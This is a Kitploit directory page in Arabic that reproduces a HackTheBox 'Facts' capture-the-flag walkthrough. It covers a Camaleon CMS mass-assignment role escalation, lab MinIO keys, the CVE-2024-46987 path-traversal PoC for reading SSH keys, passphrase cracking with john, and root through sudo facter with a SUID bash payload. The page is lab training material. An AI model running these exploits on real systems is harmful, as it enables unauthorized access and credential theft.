Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
HackTheBox-Facts — HTB Facts هو صندوق Linux سهل المستوى يضم Camaleon CMS و MinIO. احصل على وصول المسؤول عبر التسجيل المفتوح وثغرة التعيين الجماعي، ثم استخرج بيانات اعتماد MinIO من إعدادات المسؤول. استخدم ثغرة اجتياز المسار CVE-2024-46987 لسرقة مفتاح SSH الخاص، واقتحام عبارة المرور الخاصة به، والتصعيد إلى صلاحيات الجذر عبر استغلال صلاحيات sudo على facter باستخدام GTFOBins. | Kitploit
أدوات/GitHubGitHub/suriyaboon/hackthebox-facts
تصعيد الامتيازاتالاستطلاعهجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقأمن السحابة

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

HTB Facts هو صندوق Linux سهل المستوى يضم Camaleon CMS و MinIO. احصل على وصول المسؤول عبر التسجيل المفتوح وثغرة التعيين الجماعي، ثم استخرج بيانات اعتماد MinIO من إعدادات المسؤول. استخدم ثغرة اجتياز المسار CVE-2024-46987 لسرقة مفتاح SSH الخاص، واقتحام عبارة المرور الخاصة به، والتصعيد إلى صلاحيات الجذر عبر استغلال صلاحيات sudo على facter باستخدام GTFOBins.

التعلم والتعليم
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

عرض المستودع
20منذ 15 أياملم تتم المراجعة بعد
مشاركة

HTB Facts — شرح كامل

نظام التشغيل: Linux
الوسوم: Web, MinIO, Camaleon CMS, Path Traversal, Privilege Escalation


جدول المحتويات

  1. الاستطلاع
  2. تعداد الويب — المنفذ 80
  3. اكتشاف MinIO — المنفذ 54321
  4. Camaleon CMS — الوصول الإداري
  5. تصعيد الصلاحيات إلى دور المدير
  6. اكتشاف بيانات اعتماد MinIO
  7. قراءة الملفات التعسفية — CVE-2024-46987
  8. الوصول عبر SSH باسم trivia
  9. تصعيد الصلاحيات إلى Root
  10. الأعلام

الاستطلاع

ابدأ بفحص كامل لمنافذ TCP لتحديد الخدمات المفتوحة.

nmap -p- --min-rate 5000 -T4 10.129.244.96

النتائج:

المنفذالخدمةملاحظات
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321غير معروفتم تحديده كـ MinIO

أضف الهدف إلى /etc/hosts:

echo "10.129.244.96 facts.htb" >> /etc/hosts

تعداد الويب — المنفذ 80

عند تصفح http://facts.htb يظهر موقع trivia مبني على Camaleon CMS (Ruby on Rails). المؤشرات الرئيسية:

  • اسم الكوكي: _factsapp_session (جلسة Rails)
  • مسارات الأصول: /assets/themes/camaleon_first/
  • رمز CSRF في وسوم meta
  • الخادم: nginx/1.26.3 (Ubuntu)

عدّد خريطة الموقع لجميع الصفحات المتاحة:

curl -s http://facts.htb/sitemap.xml

المسارات البارزة المكتشفة:

  • /admin → يعيد التوجيه إلى /admin/login
  • /rss
  • صفحات trivia متنوعة: /animal-ejected، /anne-frank، إلخ.

تحقق من لوحة تسجيل دخول المدير:

curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

اكتشاف MinIO — المنفذ 54321

يُظهر فحص المنفذ غير المعروف باستخدام curl وجود MinIO، وهي خدمة تخزين كائنات متوافقة مع S3:

curl -v http://facts.htb:54321

الاستجابة:

<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

تؤكد الترويسات: Server: MinIO

افحص أسماء الحاويات المحتملة (استجابة 403 وحدها لا تؤكد وجود حاوية):

for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

جميعها تُرجع 403 Forbidden — الحاويات موجودة لكنها تتطلب بيانات اعتماد.


Camaleon CMS — الوصول الإداري

تحديد نظام إدارة المحتوى

من مسارات الأصول وكوكي الجلسة، تم تحديد نظام إدارة المحتوى كـ Camaleon CMS.

تحقق من الثغرات المعروفة:

searchsploit camaleon

النتائج:

Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

تم تأكيد إصدار لوحة الإدارة كـ 2.9.0 (ظاهر في التذييل بعد تسجيل الدخول).

إنشاء حساب

تتضمن صفحة تسجيل دخول المدير على http://facts.htb/admin/login رابط "Create an account". سجّل حسابًا جديدًا:

  • انتقل إلى http://facts.htb/admin/users/sign_up
  • املأ أي بيانات اعتماد صالحة (مثل test123 / test123)
  • أرسل — هذا ينشئ حسابًا بدور Client

بعد التسجيل، سجّل الدخول إلى لوحة تحكم المدير. يمتلك الحساب صلاحيات Client محدودة.


تصعيد الصلاحيات إلى دور المدير

ثغرة الإسناد الجماعي

Camaleon CMS عرضة لهجوم الإسناد الجماعي على نقطة نهاية تغيير كلمة المرور. من خلال اعتراض طلب تغيير كلمة المرور وحقن معامل password[role]، يمكن للمهاجم تصعيد دوره الخاص إلى admin.

الخطوات باستخدام Burp Suite:

  1. سجّل الدخول إلى لوحة الإدارة بحساب Client.
  2. انتقل إلى Profile → Edit → Change Password.
  3. أدخل أي كلمة مرور جديدة وانقر على Process.
  4. اعترض طلب POST في Burp Suite.
  5. أضف &password[role]=admin إلى جسم الطلب:
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. أرسل الطلب — يجب أن تكون الاستجابة 200 OK.
  2. سجّل الدخول مرة أخرى ببيانات الاعتماد المحدّثة.

يمتلك الحساب الآن صلاحيات admin، مما يمنح وصولًا كاملًا إلى لوحة إدارة CMS بما في ذلك Settings وMedia وFilesystem Settings.


اكتشاف بيانات اعتماد MinIO

مع الوصول الإداري، انتقل إلى:

Settings → General Site → Filesystem Settings

تكشف الصفحة عن بيانات اعتماد MinIO (المتوافقة مع AWS S3) المضمّنة:

AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

اضبط AWS CLI وعدّد الحاويات:

export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

الحاويات المكتشفة:

2025-09-11  internal
2025-09-11  randomfacts

تحتوي حاوية internal على الدليل الرئيسي للمستخدم trivia:

aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

قراءة الملفات التعسفية — CVE-2024-46987

بدلاً من ذلك، يمكن استرداد مفتاح SSH الخاص عبر CVE-2024-46987، وهي ثغرة اجتياز مسار موثّقة في Camaleon CMS تسمح بقراءة ملفات الخادم التعسفية.

استنسخ PoC العام:

git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

اقرأ الملفات الحساسة:

# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

المخرجات (الأسطر ذات الصلة):

trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

تم تحديد مستخدمين: trivia وwilliam. بما أن trivia لديه shell تسجيل دخول ودليل رئيسي، تحقق من وجود مفتاح SSH خاص:

# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

احفظ مخرجات المفتاح في ملف:

chmod 600 id_ed25519

الوصول عبر SSH باسم trivia

كسر عبارة مرور مفتاح SSH

مفتاح SSH الخاص مشفّر بعبارة مرور. استخدم ssh2john وjohn لكسرها:

ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

عبارة المرور المكسورة: dragonballz

تسجيل الدخول عبر SSH

ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

استرجع علم المستخدم:

cat /home/william/user.txt

تصعيد الصلاحيات إلى Root

صلاحيات Sudo

تحقق من صلاحيات sudo للمستخدم trivia:

sudo -l

المخرجات:

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

يمكن للمستخدم تشغيل /usr/bin/facter كـ root بدون كلمة مرور. facter هي أداة معلومات نظام مبنية على Ruby.

GTFOBins — facter

وفقًا لـ GTFOBins، يمكن لـ facter تحميل ملفات fact مخصصة لـ Ruby عبر --custom-dir، والتي تُنفّذ بصلاحيات المستخدم المستدعي (root في هذه الحالة).

الاستغلال:

# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF

# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x

# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...

# Spawn root shell
/bin/bash -p

استرجاع علم Root

whoami
# root

cat /root/root.txt

الأعلام

العلمالموقع
user.txt/home/william/user.txt
root.txt/root/root.txt

ملخص سلسلة الهجوم

تنزيل الأداة